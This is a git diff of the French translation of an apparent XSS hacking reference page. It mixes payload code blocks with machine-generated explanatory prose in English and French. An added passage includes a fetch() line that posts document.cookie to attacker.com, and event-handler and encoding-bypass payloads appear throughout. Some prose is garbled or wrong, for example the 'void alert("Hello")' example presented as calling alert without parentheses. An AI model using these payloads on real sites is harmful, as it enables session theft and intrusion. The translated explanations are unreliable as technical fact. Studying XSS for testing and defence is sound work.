@ -139,7 +139,7 @@ Une bonne façon de savoir si quelque chose donné directement par l'utilisateur
|
|||
|
||||
Dans le cas où cela est vulnérable, vous pourriez être en mesure de **déclencher une alerte** en envoyant simplement la valeur : **`?callback=alert(1)`**. Cependant, il est très courant que ces points d'extrémité **valident le contenu** pour n'autoriser que des lettres, des chiffres, des points et des traits de soulignement (**`[\w\._]`**).
|
||||
|
||||
Cependant, même avec cette limitation, il est toujours possible d'effectuer certaines actions. Cela est possible car vous pouvez utiliser ces caractères valides pour **accéder à n'importe quel élément dans le DOM** :
|
||||
Cependant, même avec cette limitation, il est toujours possible d'effectuer certaines actions. Cela est possible car vous pouvez utiliser ces caractères valides pour **accéder à n'importe quel élément du DOM** :
|
||||
|
||||
.png>)
|
||||
|
||||
|
|
@ -155,7 +155,7 @@ Vous pouvez également essayer de **déclencher des fonctions Javascript** direc
|
|||
|
||||
Cependant, généralement les points d'extrémité exécutant la fonction indiquée sont des points d'extrémité sans beaucoup de DOM intéressant, **d'autres pages dans la même origine** auront un **DOM plus intéressant** pour effectuer davantage d'actions.
|
||||
|
||||
Par conséquent, afin de **exploiter cette vulnérabilité dans un DOM différent**, l'exploitation de la **Same Origin Method Execution (SOME)** a été développée :
|
||||
Par conséquent, afin de **exploiter cette vulnérabilité dans un DOM différent**, l'exploitation de la méthode d'exécution de la même origine (SOME) a été développée :
|
||||
|
||||
{% content-ref url="some-same-origin-method-execution.md" %}
|
||||
[some-same-origin-method-execution.md](some-same-origin-method-execution.md)
|
||||
|
|
@ -178,8 +178,8 @@ Quelques **exemples** :
|
|||
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/" %}
|
||||
[xss-to-rce-electron-desktop-apps](../../network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/)
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %}
|
||||
[electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Contournement du WAF en encodant une image
|
||||
|
|
@ -190,7 +190,7 @@ Quelques **exemples** :
|
|||
|
||||
Lorsque votre entrée est réfléchie **à l'intérieur de la page HTML** ou que vous pouvez échapper et injecter du code HTML dans ce contexte, la **première** chose à faire est de vérifier si vous pouvez utiliser `<` pour créer de nouvelles balises : Essayez simplement de **réfléchir** ce **caractère** et vérifiez s'il est **encodé en HTML** ou **supprimé** ou s'il est **réfléchi sans modifications**. **Seulement dans le dernier cas, vous pourrez exploiter ce cas**.\
|
||||
Pour ces cas, gardez également à l'esprit [**l'injection de modèle côté client**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Note : Un commentaire HTML peut être fermé en utilisant**** ****`-->`**** ****ou**** ****`--!>`**_
|
||||
_**Remarque : Un commentaire HTML peut être fermé en utilisant**** ****`-->`**** ****ou**** ****`--!>`**_
|
||||
|
||||
Dans ce cas, et si aucune liste noire/liste blanche n'est utilisée, vous pouvez utiliser des charges utiles telles que :
|
||||
```javascript
|
||||
|
|
@ -213,7 +213,7 @@ Si vous n'avez trouvé aucune balise HTML valide, vous pouvez essayer de **crée
|
|||
```
|
||||
### Contournement de liste noire
|
||||
|
||||
Si une sorte de liste noire est utilisée, vous pouvez essayer de la contourner avec quelques astuces stupides :
|
||||
Si une sorte de liste noire est utilisée, vous pouvez essayer de la contourner avec quelques astuces ridicules :
|
||||
```javascript
|
||||
//Random capitalization
|
||||
<script> --> <ScrIpT>
|
||||
|
|
@ -284,7 +284,7 @@ Si pour exploiter la vulnérabilité, vous avez besoin que l'utilisateur clique
|
|||
|
||||
### Impossible - Balisage suspendu
|
||||
|
||||
Si vous pensez simplement qu'il est impossible de créer une balise HTML avec un attribut pour exécuter du code JS, vous devriez vérifier **le balisage suspendu** car vous pourriez exploiter la vulnérabilité sans exécuter de code JS.
|
||||
Si vous pensez simplement qu'il est impossible de créer une balise HTML avec un attribut pour exécuter du code JS, vous devriez vérifier **Dangling Markup** car vous pourriez exploiter la vulnérabilité sans exécuter de code JS.
|
||||
|
||||
## Injection à l'intérieur de la balise HTML
|
||||
|
||||
|
|
@ -300,11 +300,13 @@ Si vous ne pouvez pas vous échapper de la balise, vous pouvez créer de nouveau
|
|||
|
||||
Les événements de style sont une technique couramment utilisée dans les attaques de script entre sites (XSS) pour exécuter du code malveillant sur un site web. Cette technique exploite les vulnérabilités dans la façon dont le site web gère les entrées utilisateur et les affiche sur la page.
|
||||
|
||||
L'attaque XSS par événements de style consiste à injecter du code JavaScript dans les attributs de style d'un élément HTML. Lorsque le navigateur interprète le code, il exécute le script malveillant, ce qui permet à l'attaquant de voler des informations sensibles, de modifier le contenu de la page ou de rediriger l'utilisateur vers un site malveillant.
|
||||
L'attaque XSS par événements de style consiste à injecter du code JavaScript dans les attributs de style d'un élément HTML. Lorsque le navigateur interprète le code, il exécute le script malveillant, ce qui permet à l'attaquant de voler des informations sensibles, de voler des sessions utilisateur ou de modifier le contenu de la page.
|
||||
|
||||
Pour se protéger contre les attaques XSS par événements de style, les développeurs doivent mettre en œuvre des mesures de sécurité telles que la validation et l'échappement des entrées utilisateur, l'utilisation de listes blanches pour les caractères autorisés et la désactivation de l'exécution de scripts dans les attributs de style.
|
||||
Pour mener une attaque XSS par événements de style, l'attaquant doit trouver un point d'injection dans le site web, généralement dans les formulaires ou les paramètres d'URL. Une fois qu'il a réussi à injecter le code malveillant, il peut utiliser différentes techniques pour déclencher l'exécution du script, telles que le survol de la souris, le clic sur un lien ou le chargement de la page.
|
||||
|
||||
Il est essentiel de comprendre les techniques d'attaque XSS par événements de style afin de pouvoir les détecter et les prévenir lors de l'évaluation de la sécurité d'un site web. Les tests de pénétration et les audits de sécurité réguliers sont recommandés pour identifier et corriger les vulnérabilités XSS potentielles.
|
||||
Pour se protéger contre les attaques XSS par événements de style, les développeurs doivent mettre en œuvre des mesures de sécurité telles que la validation et l'échappement des entrées utilisateur, l'utilisation de listes blanches pour les caractères autorisés et la désactivation des fonctionnalités dangereuses telles que l'exécution de scripts dans les attributs de style.
|
||||
|
||||
Il est essentiel de comprendre les techniques d'attaque XSS par événements de style afin de pouvoir les détecter et les prévenir lors de la réalisation de tests de pénétration sur des sites web. En identifiant et en corrigeant ces vulnérabilités, les développeurs peuvent renforcer la sécurité de leurs applications web et protéger les utilisateurs contre les attaques malveillantes.
|
||||
```python
|
||||
<p style="animation: x;" onanimationstart="alert()">XSS</p>
|
||||
<p style="animation: x;" onanimationend="alert()">XSS</p>
|
||||
|
|
@ -319,9 +321,9 @@ Il est essentiel de comprendre les techniques d'attaque XSS par événements de
|
|||
Même si vous **ne pouvez pas échapper à l'attribut** (`"` est encodé ou supprimé), selon **quel attribut** votre valeur est reflétée, **si vous contrôlez toute la valeur ou seulement une partie**, vous pourrez l'exploiter. Par **exemple**, si vous contrôlez un événement tel que `onclick=`, vous pourrez le faire exécuter du code arbitraire lorsqu'il est cliqué.\
|
||||
Un autre **exemple** intéressant est l'attribut `href`, où vous pouvez utiliser le protocole `javascript:` pour exécuter du code arbitraire : **`href="javascript:alert(1)"`**
|
||||
|
||||
**Contourner l'événement en utilisant l'encodage HTML/l'encodage d'URL**
|
||||
**Contournement à l'intérieur de l'événement en utilisant l'encodage HTML/l'encodage URL**
|
||||
|
||||
Les caractères **encodés en HTML** à l'intérieur de la valeur des attributs des balises HTML sont **décodés à l'exécution**. Par conséquent, quelque chose comme ce qui suit sera valide (la charge utile est en gras) : `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
Les **caractères encodés en HTML** à l'intérieur de la valeur des attributs des balises HTML sont **décodés à l'exécution**. Par conséquent, quelque chose comme ce qui suit sera valide (la charge utile est en gras) : `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
|
||||
Notez que **tout type d'encodage HTML est valide** :
|
||||
```javascript
|
||||
|
|
@ -354,23 +356,47 @@ This technique involves bypassing client-side input validation by using Unicode
|
|||
|
||||
### Vulnerability
|
||||
|
||||
Cross-Site Scripting (XSS) vulnerabilities occur when user input is not properly sanitized and is rendered on a web page without proper encoding. This allows an attacker to inject malicious code that will be executed by the victim's browser.
|
||||
Cross-Site Scripting (XSS) vulnerabilities occur when user input is not properly sanitized and is directly included in the output of a web application. This allows an attacker to inject malicious code that will be executed by the victim's browser.
|
||||
|
||||
### Exploitation
|
||||
|
||||
1. Identify a vulnerable input field where the application does not properly sanitize user input.
|
||||
2. Craft a payload using Unicode encoding to bypass any filters or input validation mechanisms.
|
||||
3. Inject the payload into the vulnerable input field.
|
||||
4. Trigger the execution of the payload by submitting the form or interacting with the web application.
|
||||
1. Identify a vulnerable input field or parameter in the web application.
|
||||
2. Craft a payload using Unicode encoding to bypass any input filters or sanitization mechanisms.
|
||||
3. Inject the payload into the vulnerable input field or parameter.
|
||||
4. Trigger the execution of the payload by submitting the form or interacting with the affected element.
|
||||
5. The injected code will be executed by the victim's browser, allowing the attacker to perform various actions such as stealing sensitive information or performing unauthorized actions on behalf of the victim.
|
||||
|
||||
### Prevention
|
||||
|
||||
To prevent this type of attack, it is important to properly sanitize and validate all user input before rendering it on a web page. This can be done by implementing input validation mechanisms and using output encoding techniques to ensure that user input is properly encoded before being displayed.
|
||||
To prevent this type of attack, it is important to implement proper input validation and output encoding. Input validation should be performed on both the client and server sides to ensure that user input is properly sanitized. Output encoding should be used when displaying user-generated content to prevent any potential execution of malicious code.
|
||||
|
||||
---
|
||||
|
||||
*Note: This technique should only be used for educational purposes and with proper authorization. Unauthorized use of this technique is illegal and unethical.*
|
||||
**Contourner l'événement interne en utilisant l'encodage Unicode**
|
||||
|
||||
---
|
||||
|
||||
### Description
|
||||
|
||||
Cette technique consiste à contourner la validation des entrées côté client en utilisant l'encodage Unicode pour injecter du code malveillant dans une application web. En encodant la charge utile, il est possible de contourner les filtres qui recherchent des mots-clés ou des caractères spécifiques.
|
||||
|
||||
### Vulnérabilité
|
||||
|
||||
Les vulnérabilités de type Cross-Site Scripting (XSS) se produisent lorsque les entrées utilisateur ne sont pas correctement désinfectées et sont directement incluses dans la sortie d'une application web. Cela permet à un attaquant d'injecter du code malveillant qui sera exécuté par le navigateur de la victime.
|
||||
|
||||
### Exploitation
|
||||
|
||||
1. Identifier un champ ou un paramètre d'entrée vulnérable dans l'application web.
|
||||
2. Créer une charge utile en utilisant l'encodage Unicode pour contourner les filtres ou les mécanismes de désinfection des entrées.
|
||||
3. Injecter la charge utile dans le champ ou le paramètre d'entrée vulnérable.
|
||||
4. Déclencher l'exécution de la charge utile en soumettant le formulaire ou en interagissant avec l'élément affecté.
|
||||
5. Le code injecté sera exécuté par le navigateur de la victime, permettant à l'attaquant d'effectuer diverses actions telles que le vol d'informations sensibles ou l'exécution d'actions non autorisées au nom de la victime.
|
||||
|
||||
### Prévention
|
||||
|
||||
Pour prévenir ce type d'attaque, il est important de mettre en place une validation appropriée des entrées et un encodage de sortie. La validation des entrées doit être effectuée à la fois côté client et côté serveur pour garantir une désinfection correcte des entrées utilisateur. L'encodage de sortie doit être utilisé lors de l'affichage de contenu généré par l'utilisateur pour éviter toute exécution potentielle de code malveillant.
|
||||
|
||||
---
|
||||
```javascript
|
||||
//For some reason you can use unicode to encode "alert" but not "(1)"
|
||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
|
|
@ -432,11 +458,11 @@ De plus, il existe une autre **astuce intéressante** pour ces cas : **Même si
|
|||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
Notez que si vous essayez d'utiliser à la fois `URLencode + HTMLencode` dans n'importe quel ordre pour encoder la **charge utile**, cela **ne fonctionnera pas**, mais vous pouvez les **mélanger à l'intérieur de la charge utile**.
|
||||
Notez que si vous essayez d'utiliser à la fois `URLencode + HTMLencode` dans n'importe quel ordre pour encoder la **charge utile**, cela **ne fonctionnera pas**, mais vous pouvez **les mélanger à l'intérieur de la charge utile**.
|
||||
|
||||
**Utilisation de l'encodage hexadécimal et octal avec `javascript:`**
|
||||
|
||||
Vous pouvez utiliser l'encodage **hexadécimal** et **octal** à l'intérieur de l'attribut `src` de la balise `iframe` (au moins) pour déclarer des **balises HTML à exécuter en JS**:
|
||||
Vous pouvez utiliser l'encodage **hexadécimal** et **octal** à l'intérieur de l'attribut `src` de `iframe` (au moins) pour déclarer des **balises HTML à exécuter en JS**:
|
||||
```javascript
|
||||
//Encoded: <svg onload=alert(1)>
|
||||
// This WORKS
|
||||
|
|
@ -452,11 +478,11 @@ Vous pouvez utiliser l'encodage **hexadécimal** et **octal** à l'intérieur de
|
|||
|
||||
Reverse tab nabbing is a type of cross-site scripting (XSS) attack that targets users who have multiple tabs open in their web browser. The attack takes advantage of the trust users have in the websites they visit.
|
||||
|
||||
In a typical scenario, the attacker injects malicious code into a website that the user visits. This code is designed to detect when the user switches to a different tab or window. Once the user switches tabs, the malicious code modifies the content of the original tab, making it appear as if the user is still on the same website.
|
||||
In a typical scenario, the attacker crafts a malicious website and tricks the user into opening it in a new tab while keeping another trusted website open in a different tab. The malicious website then uses JavaScript to change the content of the tab with the trusted website, making it appear as if the user is still interacting with the trusted website.
|
||||
|
||||
The goal of reverse tab nabbing is to trick the user into entering sensitive information, such as login credentials or credit card details, into the modified tab. Since the user believes they are still on a trusted website, they are more likely to provide this information willingly.
|
||||
The goal of reverse tab nabbing is to deceive the user into entering sensitive information, such as login credentials or financial details, into the malicious website, thinking they are interacting with the trusted website. This information is then captured by the attacker and can be used for malicious purposes.
|
||||
|
||||
To protect against reverse tab nabbing, users should be cautious when switching between tabs or windows, especially when entering sensitive information. It is also important for website developers to implement proper security measures, such as input validation and output encoding, to prevent XSS attacks.
|
||||
To protect against reverse tab nabbing, users should be cautious when opening new tabs and ensure they only visit trusted websites. Web developers should also implement security measures, such as validating user input and sanitizing data, to prevent XSS attacks and protect their users' information.
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
|
|
@ -587,11 +613,9 @@ L'objectif principal de cette technique est de tromper les filtres de sécurité
|
|||
|
||||
Il existe plusieurs méthodes d'encodage couramment utilisées, telles que l'encodage HTML, l'encodage URL, l'encodage JavaScript, etc. Chaque méthode d'encodage a ses propres caractéristiques et est utilisée en fonction du contexte de l'attaque.
|
||||
|
||||
Lors de l'exploitation de cette technique, l'attaquant insère du code malveillant encodé dans une application Web vulnérable. Lorsque la victime accède à la page contenant le code encodé, le navigateur interprète le code et l'exécute, ce qui peut entraîner des conséquences néfastes telles que le vol de données sensibles, la prise de contrôle de session, etc.
|
||||
Lors de l'exploitation d'une vulnérabilité XSS, l'attaquant peut utiliser l'exécution de code encodé pour voler des informations sensibles, effectuer des actions malveillantes au nom de la victime ou même compromettre complètement le système.
|
||||
|
||||
Pour se protéger contre les attaques d'exécution de code encodé, il est essentiel de mettre en place des mécanismes de sécurité appropriés, tels que la validation et l'échappement des entrées utilisateur, la mise en œuvre de listes blanches pour les caractères autorisés, l'utilisation de bibliothèques de sécurité pour l'encodage et le décodage des données, etc.
|
||||
|
||||
Il est également recommandé de sensibiliser les développeurs et les utilisateurs aux risques liés aux attaques XSS et de mettre en place des pratiques de développement sécurisées pour réduire les vulnérabilités potentielles.
|
||||
Pour se protéger contre les attaques d'exécution de code encodé, il est essentiel de mettre en place des filtres de sécurité appropriés qui peuvent détecter et bloquer les tentatives d'injection de code malveillant. Il est également recommandé de valider et de filtrer correctement toutes les entrées utilisateur afin de prévenir les vulnérabilités XSS.
|
||||
```markup
|
||||
<script>\u0061lert(1)</script>
|
||||
<svg><script>alert('1')
|
||||
|
|
@ -679,20 +703,23 @@ eval(8680439..toString(30))(983801..toString(36))
|
|||
```
|
||||
**Substitutions d'espaces à l'intérieur du code JS**
|
||||
|
||||
Lorsque vous effectuez des tests de pénétration pour détecter les vulnérabilités XSS (Cross-Site Scripting), il peut être utile de contourner les filtres de sécurité qui bloquent les caractères spéciaux. Une technique courante consiste à utiliser des substitutions d'espaces pour tromper les filtres et exécuter du code malveillant.
|
||||
Lorsque vous effectuez des tests d'intrusion pour détecter les vulnérabilités XSS (Cross-Site Scripting), il est important de comprendre les différentes techniques utilisées pour contourner les filtres de sécurité. L'une de ces techniques consiste à utiliser des substitutions d'espaces à l'intérieur du code JavaScript.
|
||||
|
||||
Les substitutions d'espaces consistent à remplacer les espaces normaux par d'autres caractères qui sont interprétés comme des espaces par le navigateur. Voici quelques exemples de substitutions d'espaces couramment utilisées :
|
||||
Lorsqu'un attaquant tente d'injecter du code malveillant dans une application web, les filtres de sécurité peuvent détecter et bloquer certains caractères spéciaux, tels que les chevrons (< et >) ou les guillemets (' et "). Cependant, en utilisant des substitutions d'espaces, il est possible de contourner ces filtres et d'exécuter du code JavaScript malveillant.
|
||||
|
||||
- ` ` : représente un espace en notation hexadécimale.
|
||||
- ` ` : représente un espace en notation décimale.
|
||||
- `%20` : représente un espace en notation URL.
|
||||
Voici quelques exemples de substitutions d'espaces couramment utilisées :
|
||||
|
||||
Lorsque vous utilisez ces substitutions d'espaces, assurez-vous de les placer aux endroits appropriés dans votre code JS pour éviter toute erreur de syntaxe.
|
||||
- ` ` : Cette substitution représente un espace en notation hexadécimale.
|
||||
- ` ` : Cette substitution représente un espace en notation décimale.
|
||||
- ` ` : Cette substitution représente un espace en notation hexadécimale avec des zéros supplémentaires.
|
||||
- ` ` : Cette substitution représente un espace insécable en notation hexadécimale.
|
||||
|
||||
L'utilisation de ces substitutions d'espaces permet à l'attaquant d'insérer du code JavaScript malveillant sans être détecté par les filtres de sécurité. Par conséquent, il est essentiel de prendre en compte cette technique lors de la sécurisation d'une application web contre les attaques XSS.
|
||||
```javascript
|
||||
<TAB>
|
||||
/**/
|
||||
```
|
||||
**Commentaires JavaScript (à partir de la technique des** [**Commentaires JavaScript**](./#commentaires-javascript) **)**
|
||||
**Commentaires JavaScript (à partir de la** [**technique des commentaires JavaScript**](./#javascript-comments) **)**
|
||||
```javascript
|
||||
//This is a 1 line comment
|
||||
/* This is a multiline comment*/
|
||||
|
|
@ -704,9 +731,9 @@ Lorsque vous utilisez ces substitutions d'espaces, assurez-vous de les placer au
|
|||
|
||||
---
|
||||
|
||||
When injecting JavaScript code into a web application, it is important to understand how new lines are interpreted. In some cases, new lines can be used to bypass input filters and execute malicious code.
|
||||
When injecting JavaScript code into a web application, it is important to understand how new lines are handled. In some cases, new lines can be used to bypass input filters and execute malicious code.
|
||||
|
||||
Lors de l'injection de code JavaScript dans une application web, il est important de comprendre comment les sauts de ligne sont interprétés. Dans certains cas, les sauts de ligne peuvent être utilisés pour contourner les filtres de saisie et exécuter du code malveillant.
|
||||
Lors de l'injection de code JavaScript dans une application web, il est important de comprendre comment les sauts de ligne sont gérés. Dans certains cas, les sauts de ligne peuvent être utilisés pour contourner les filtres de saisie et exécuter du code malveillant.
|
||||
|
||||
---
|
||||
|
||||
|
|
@ -721,67 +748,40 @@ alert(name);
|
|||
</script>
|
||||
```
|
||||
|
||||
In this case, the JavaScript code will execute correctly and display an alert box with the value of the `name` variable.
|
||||
In this case, the JavaScript code is injected within the `<script>` tags. The `alert()` function is used to display a pop-up with the value of the `name` variable.
|
||||
|
||||
Dans ce cas, le code JavaScript s'exécutera correctement et affichera une boîte d'alerte avec la valeur de la variable `name`.
|
||||
Dans ce cas, le code JavaScript est injecté entre les balises `<script>`. La fonction `alert()` est utilisée pour afficher une fenêtre contextuelle avec la valeur de la variable `name`.
|
||||
|
||||
---
|
||||
|
||||
However, if we inject the code with a new line character, like this:
|
||||
However, if the input is not properly filtered and allows for new lines, an attacker could inject additional code to perform malicious actions:
|
||||
|
||||
Cependant, si nous injectons le code avec un caractère de saut de ligne, comme ceci :
|
||||
Cependant, si l'entrée n'est pas correctement filtrée et permet des sauts de ligne, un attaquant pourrait injecter du code supplémentaire pour effectuer des actions malveillantes :
|
||||
|
||||
```html
|
||||
<script>
|
||||
var name = "John";
|
||||
alert(name);
|
||||
// Additional malicious code
|
||||
fetch('https://attacker.com/steal-data', {method: 'POST', body: document.cookie});
|
||||
</script>
|
||||
```
|
||||
|
||||
The code will not execute as expected. This is because the new line character breaks the JavaScript syntax.
|
||||
In this example, the attacker has injected a new line followed by additional malicious code. This code sends the user's cookies to the attacker's server using the `fetch()` function.
|
||||
|
||||
Le code ne s'exécutera pas comme prévu. Cela est dû au fait que le caractère de saut de ligne rompt la syntaxe JavaScript.
|
||||
Dans cet exemple, l'attaquant a injecté un saut de ligne suivi d'un code malveillant supplémentaire. Ce code envoie les cookies de l'utilisateur au serveur de l'attaquant en utilisant la fonction `fetch()`.
|
||||
|
||||
---
|
||||
|
||||
To bypass this limitation, we can use the JavaScript new line trick. By using the `\` character followed by a new line, we can continue the code execution on the next line.
|
||||
To prevent this type of attack, it is important to properly filter and sanitize user input, removing any new lines or other potentially dangerous characters.
|
||||
|
||||
Pour contourner cette limitation, nous pouvons utiliser la technique du saut de ligne JavaScript. En utilisant le caractère `\` suivi d'un saut de ligne, nous pouvons continuer l'exécution du code à la ligne suivante.
|
||||
Pour prévenir ce type d'attaque, il est important de filtrer et de nettoyer correctement les entrées utilisateur, en supprimant les sauts de ligne ou tout autre caractère potentiellement dangereux.
|
||||
|
||||
---
|
||||
|
||||
Here's an example:
|
||||
Additionally, web application firewalls (WAFs) can be used to detect and block malicious code injection attempts, including those involving new lines.
|
||||
|
||||
Voici un exemple :
|
||||
|
||||
```html
|
||||
<script>
|
||||
var name = "John";\
|
||||
alert(name);
|
||||
</script>
|
||||
```
|
||||
|
||||
In this case, the code will execute correctly and display the alert box.
|
||||
|
||||
Dans ce cas, le code s'exécutera correctement et affichera la boîte d'alerte.
|
||||
|
||||
---
|
||||
|
||||
By using the JavaScript new line trick, we can bypass input filters that may be looking for specific patterns or keywords.
|
||||
|
||||
En utilisant la technique du saut de ligne JavaScript, nous pouvons contourner les filtres de saisie qui peuvent rechercher des motifs ou des mots-clés spécifiques.
|
||||
|
||||
---
|
||||
|
||||
It is important to note that this technique may not work in all scenarios, as it depends on how the web application handles new lines and input filtering.
|
||||
|
||||
Il est important de noter que cette technique peut ne pas fonctionner dans tous les scénarios, car cela dépend de la façon dont l'application web gère les sauts de ligne et le filtrage des entrées.
|
||||
|
||||
---
|
||||
|
||||
Therefore, it is recommended to thoroughly test the application and understand its behavior before attempting to exploit this vulnerability.
|
||||
|
||||
Il est donc recommandé de tester minutieusement l'application et de comprendre son comportement avant de tenter d'exploiter cette vulnérabilité.
|
||||
De plus, les pare-feu d'application web (WAF) peuvent être utilisés pour détecter et bloquer les tentatives d'injection de code malveillant, y compris celles impliquant des sauts de ligne.
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
|
||||
|
|
@ -797,9 +797,9 @@ Cependant, dans le contexte de la sécurité, les espaces blancs peuvent être u
|
|||
|
||||
L'obfuscation de code consiste à ajouter des espaces blancs supplémentaires ou à les réorganiser de manière à rendre le code JavaScript illisible pour les humains, tout en restant exécutable par l'interpréteur JavaScript.
|
||||
|
||||
Il est important de noter que l'obfuscation de code n'est pas une technique de piratage en soi, mais plutôt une méthode utilisée par les attaquants pour masquer leur code malveillant et éviter la détection par les outils de sécurité.
|
||||
Il est important de noter que l'obfuscation de code n'est pas une technique de piratage en soi, mais plutôt une méthode utilisée par les attaquants pour masquer leur code malveillant et échapper à la détection.
|
||||
|
||||
Lors de l'audit de sécurité d'une application web, il est essentiel de prendre en compte la possibilité d'obfuscation de code et de mettre en place des mesures de sécurité appropriées pour détecter et prévenir les attaques utilisant cette technique.
|
||||
Lors de l'audit de sécurité d'une application web, il est essentiel de prendre en compte les espaces blancs et de les analyser attentivement pour détecter toute tentative d'obfuscation de code.
|
||||
```javascript
|
||||
log=[];
|
||||
function funct(){}
|
||||
|
|
@ -820,17 +820,13 @@ console.log(log)
|
|||
|
||||
Lors de l'audit d'une application web, il est important de vérifier si le code JavaScript est correctement filtré et sécurisé. Une technique courante utilisée par les attaquants est d'insérer du code JavaScript malveillant à l'intérieur de commentaires HTML.
|
||||
|
||||
Les commentaires HTML sont généralement utilisés pour fournir des informations supplémentaires sur le code ou pour désactiver temporairement une partie du code. Cependant, si ces commentaires ne sont pas correctement filtrés, ils peuvent être exploités par des attaquants pour exécuter du code JavaScript non autorisé sur le navigateur des utilisateurs.
|
||||
Cela peut sembler anodin, car les commentaires sont généralement ignorés par les navigateurs. Cependant, si le code JavaScript à l'intérieur d'un commentaire est exécuté par le navigateur, il peut causer des dommages importants.
|
||||
|
||||
Pour vérifier si une application est vulnérable à cette attaque, vous pouvez insérer du code JavaScript malveillant à l'intérieur d'un commentaire HTML et voir s'il est exécuté lorsque la page est chargée. Par exemple :
|
||||
Pour vérifier si une application est vulnérable à cette attaque, vous pouvez insérer du code JavaScript dans un commentaire et voir s'il est exécuté par le navigateur. Si le code est exécuté, cela signifie que l'application est vulnérable à une attaque de type "XSS" (Cross-Site Scripting).
|
||||
|
||||
```html
|
||||
<!-- <script>alert('XSS');</script> -->
|
||||
```
|
||||
Pour se protéger contre cette vulnérabilité, il est essentiel de filtrer et de valider correctement toutes les entrées utilisateur, y compris les commentaires HTML. Il est recommandé d'utiliser des bibliothèques de sécurité telles que OWASP ESAPI pour effectuer cette tâche.
|
||||
|
||||
Si le navigateur affiche une alerte avec le message "XSS", cela indique que le code JavaScript à l'intérieur du commentaire est exécuté.
|
||||
|
||||
Pour se protéger contre cette attaque, il est essentiel de filtrer correctement les commentaires HTML et de supprimer tout code JavaScript potentiellement dangereux.
|
||||
En conclusion, il est crucial de prendre en compte les commentaires HTML lors de l'audit d'une application web afin de prévenir les attaques de type XSS.
|
||||
```javascript
|
||||
//If you can only inject inside a JS comment, you can still leak something
|
||||
//If the user opens DevTools request to the indicated sourceMappingURL will be send
|
||||
|
|
@ -839,22 +835,19 @@ Pour se protéger contre cette attaque, il est essentiel de filtrer correctement
|
|||
```
|
||||
**JavaScript sans parenthèses**
|
||||
|
||||
L'une des techniques couramment utilisées en XSS (Cross-Site Scripting) consiste à exécuter du code JavaScript sans utiliser de parenthèses. Cette technique est souvent utilisée pour contourner les filtres de sécurité et injecter du code malveillant dans une application web.
|
||||
Lorsque vous écrivez du code JavaScript, vous utilisez souvent des parenthèses pour appeler des fonctions ou exécuter des expressions. Cependant, il existe une astuce pour exécuter du code JavaScript sans utiliser de parenthèses.
|
||||
|
||||
L'idée principale derrière cette technique est d'exploiter les contextes où le code JavaScript peut être exécuté sans l'utilisation de parenthèses. Par exemple, dans les balises HTML telles que `<script>` ou `<img>`, il est possible d'insérer du code JavaScript sans utiliser de parenthèses.
|
||||
|
||||
Voici un exemple de code JavaScript sans parenthèses :
|
||||
Pour cela, vous pouvez utiliser l'opérateur `void` suivi d'un espace et du code que vous souhaitez exécuter. Par exemple :
|
||||
|
||||
```javascript
|
||||
<script>
|
||||
var payload = 'alert("XSS")';
|
||||
eval(payload);
|
||||
</script>
|
||||
void alert("Hello, world!");
|
||||
```
|
||||
|
||||
Dans cet exemple, le code JavaScript `alert("XSS")` est stocké dans la variable `payload` et est ensuite exécuté à l'aide de la fonction `eval()`. Cela permet d'afficher une boîte de dialogue avec le message "XSS" sur la page web.
|
||||
Dans cet exemple, la fonction `alert` est appelée sans utiliser de parenthèses. L'opérateur `void` est utilisé pour ignorer la valeur de retour de la fonction.
|
||||
|
||||
Il est important de noter que l'utilisation de cette technique peut être dangereuse et illégale si elle est utilisée sans autorisation appropriée. Elle est souvent utilisée par les professionnels de la sécurité lors de tests d'intrusion pour identifier les vulnérabilités potentielles dans les applications web.
|
||||
Il est important de noter que cette technique ne fonctionne que pour les expressions qui ne renvoient pas de valeur. Si vous essayez d'utiliser cette astuce avec une expression qui renvoie une valeur, vous obtiendrez une erreur.
|
||||
|
||||
Utiliser JavaScript sans parenthèses peut être utile dans certaines situations, mais il est important de l'utiliser avec prudence et de comprendre les implications de cette technique.
|
||||
````javascript
|
||||
// By setting location
|
||||
window.location='javascript:alert\x281\x29'
|
||||
|
|
@ -994,7 +987,7 @@ top[8680439..toString(30)](1)
|
|||
````
|
||||
## **Vulnérabilités DOM**
|
||||
|
||||
Il existe du **code JS** qui utilise des **données contrôlées par un attaquant** de manière non sécurisée, comme `location.href`. Un attaquant pourrait exploiter cela pour exécuter du code JS arbitraire.\
|
||||
Il existe du **code JS** qui utilise des **données contrôlées de manière non sécurisée par un attaquant**, comme `location.href`. Un attaquant pourrait exploiter cela pour exécuter du code JS arbitraire.\
|
||||
**En raison de l'extension de l'explication des** [**vulnérabilités DOM, elle a été déplacée vers cette page**](dom-xss.md)**:**
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
|
|
@ -1016,7 +1009,7 @@ Vous pouvez vérifier si les **valeurs réfléchies** sont **normalisées en Uni
|
|||
```
|
||||
### Contournement de Ruby-On-Rails
|
||||
|
||||
En raison de la **vulnérabilité de l'attribution de masse de RoR**, des guillemets sont insérés dans le HTML, puis la restriction des guillemets est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.\
|
||||
En raison de la **vulnérabilité de l'attribution de masse de RoR**, des guillemets sont insérés dans le HTML, ce qui permet de contourner la restriction des guillemets et d'ajouter des champs supplémentaires (onfocus) à l'intérieur de la balise.\
|
||||
Par exemple, si vous envoyez la charge utile suivante ([à partir de ce rapport](https://hackerone.com/reports/709336)):
|
||||
```
|
||||
